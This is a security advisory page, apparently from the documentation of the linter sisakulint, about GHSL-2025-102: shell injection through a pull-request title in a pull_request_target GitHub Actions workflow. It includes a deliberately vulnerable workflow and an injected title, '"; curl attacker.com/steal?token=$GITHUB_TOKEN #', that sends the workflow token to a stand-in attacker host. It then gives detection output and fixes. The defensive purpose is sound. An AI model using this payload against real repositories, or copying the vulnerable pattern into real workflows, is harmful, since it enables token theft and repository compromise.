GHSL-2025-102: Code Injection via PR Title

GHSL-2025-102: Code Injection via PR Title #

Summary #

ItemValue
Advisory IDGHSL-2025-102
SeverityCritical
Affected Componentacl-org/acl-anthology
CVEN/A
CWECWE-78 (OS Command Injection)
Referencehttps://securitylab.github.com/advisories/GHSL-2025-102_GHSL-2025-103_acl-anthology/

Vulnerability Description #

GHSL-2025-102 is a code injection vulnerability in the link-to-checklist.yml workflow. The vulnerability occurs when the PR title is directly interpolated into a shell command without sanitization in a pull_request_target triggered workflow.

Attack Vector #

sequenceDiagram
    participant Attacker
    participant PR
    participant Workflow
    participant Secrets

    Attacker->>PR: Create PR with malicious title
    Note right of Attacker: Title: "; curl attacker.com?t=$GITHUB_TOKEN #
    PR->>Workflow: Trigger pull_request_target event
    Workflow->>Workflow: echo "PR Title: ${{ title }}"
    Note right of Workflow: Shell interprets injected commands
    Workflow->>Secrets: Access GITHUB_TOKEN
    Workflow-->>Attacker: Token exfiltrated

Vulnerable Code Pattern #

name: Link to Checklist (Vulnerable)

on:
  pull_request_target:
    types: [opened]

permissions:
  pull-requests: write

jobs:
  link-checklist:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # VULNERABLE: PR title directly interpolated in shell command
      - name: Process PR
        run: |
          echo "PR Title: ${{ github.event.pull_request.title }}"
          # Attacker can inject: "; curl attacker.com/steal?token=$GITHUB_TOKEN #

Exploitation Example #

PR Title:

"; curl https://attacker.com/steal?token=$GITHUB_TOKEN #

Resulting shell command:

echo "PR Title: "; curl https://attacker.com/steal?token=$GITHUB_TOKEN #"

sisakulint Detection #

sisakulint detects this vulnerability with the code-injection-critical rule:

script/actions/ghsl/ghsl-2025-102.yaml:24:30: code injection (critical):
"github.event.pull_request.title" is potentially untrusted and used in a
workflow with privileged triggers. Avoid using it directly in inline scripts.
Instead, pass it through an environment variable. [code-injection-critical]

Remediation #

- name: Process PR
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "PR Title: $PR_TITLE"

Option 2: Use GitHub Script #

- uses: actions/github-script@v7
  with:
    script: |
      const title = context.payload.pull_request.title;
      console.log(`PR Title: ${title}`);

Auto-Fix Support #

sisakulint provides auto-fix for this vulnerability:

# Preview the fix
sisakulint -fix dry-run script/actions/ghsl/ghsl-2025-102.yaml

# Apply the fix
sisakulint -fix on script/actions/ghsl/ghsl-2025-102.yaml

The auto-fix will:

  1. Create an environment variable for the untrusted input
  2. Replace the direct interpolation with the environment variable

Test Files #

  • Vulnerable pattern: script/actions/ghsl/ghsl-2025-102.yaml
  • GHSL-2025-103: Similar vulnerability in print-info.yml with PR body

References #